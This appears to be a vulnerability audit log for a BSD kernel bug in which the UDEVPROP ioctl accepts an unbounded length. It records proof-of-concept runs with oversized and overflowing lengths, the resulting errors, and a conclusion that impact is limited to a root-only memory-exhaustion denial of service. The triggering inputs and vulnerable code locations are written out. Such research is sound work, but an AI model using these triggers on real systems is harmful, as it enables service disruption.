## BASELINE reproduction (unpatched audit-source kernel, 6.5-DEVELOPMENT #0, Jul 2 2026)
## Reachability + bad-behavior markers captured as root via /dev/udev UDEVPROP
## (the only caller compiled into the base kernel; maxx CANNOT open /dev/udev).

### maxx (unprivileged) attempt — confirms NO unprivileged path on default guest
$ ssh dfbsd-maxx 'cd poc/DF-2231 && ./df_poc benign'
[*] mode=benign ...
[!] open /dev/udev: Permission denied (must run as root; node is 0600 root:wheel)
RUN_EXIT=2
=> /dev/udev is root:wheel 0600; maxx cannot reach the vulnerable path.

### vquotactl(530) gated by vfs_quota_enabled (default 0, RD-only sysctl)
$ sysctl vfs.quota_enabled
vfs.quota_enabled: 0
=> sys_vquotactl() returns EOPNOTSUPP at vfs_quota.c:342 BEFORE prop_dictionary_copyin.

### Reachable callers present on the default GENERIC guest:
###   - kern_udev.c:892 UDEVPROP on /dev/udev  (root:wheel 0600)  <-- used below
###   - vfs_quota.c:346 vquotactl (gated, blocked)
### dm NETBSD_DM_IOCTL / tbridge TBRIDGE_LOADTEST: modules NOT loaded.

### BASELINE bad-behavior markers (root via /dev/udev):

--- df_poc 0x40000000 (1 GiB, small user ptr) ---
[*] small user ptr (0x7fffffdfd830, 64B); pref_len=0x40000000
[*] issuing UDEVPROP ioctl...
[+] ioctl returned -1, errno=14 (Bad address)        <-- EFAULT
RC=1
=> kmalloc(1 GiB) SUCCEEDED; copyin faulted off the end of the 64-byte user source.
   PROVES the kernel accepted an attacker-driven 1 GiB allocation with no bound check.

--- df_poc 0x18000000 384 (384 MiB, fully user-mapped source) ---
[*] mapped 384 MiB at 0x800a00000; pref_len=0x18000000
[*] issuing UDEVPROP ioctl...
[+] ioctl returned -1, errno=5 (Input/output error)  <-- EIO
RC=1
=> EIO (not EFAULT): copyin ran to completion (entire 384 MiB copied into the kernel
   buffer), then prop_dictionary_internalize rejected the bogus XML.
   PROVES the kernel fully allocated AND populated a 384 MiB buffer per call.

--- df_poc 0xffffffffffffffff (SIZE_MAX integer-overflow case) ---
[*] small user ptr (0x7fffffdfd750, 64B); pref_len=0xffffffffffffffff
[*] issuing UDEVPROP ioctl...
[+] ioctl returned -1, errno=14 (Bad address)        <-- EFAULT
RC=1
=> pref_len+1 wraps to 0; kmalloc(0) returns ZERO_LENGTH_PTR (0xFFFFFFFFFFFFFFF8);
   copyin into it faults => EFAULT (copyin swallows the fault before the unconditional
   buf[len]='\0' store at prop_kern.c:404, so no panic on this guest).

--- df_poc 0x40 (benign 64-byte control) ---
[+] ioctl returned -1, errno=5 (Input/output error)  <-- EIO (bad XML, legit path)
RC=1
=> baseline legit path: small input reaches internalize, rejected as bad XML.

### No single-shot panic observed: copyin fault-handling returns EFAULT/EIO before
### the unconditional buf[pref_len]='\0' store, and the slab allocator's ks_limit
### precise-recompute (kern_slaballoc.c:867-869) prevents burst-driven accumulation
### panic on a single host. Impact ceiling = privileged memory-exhaustion DoS +
### dead-code hardening gap (prop_object_copyin_limit declared but never read).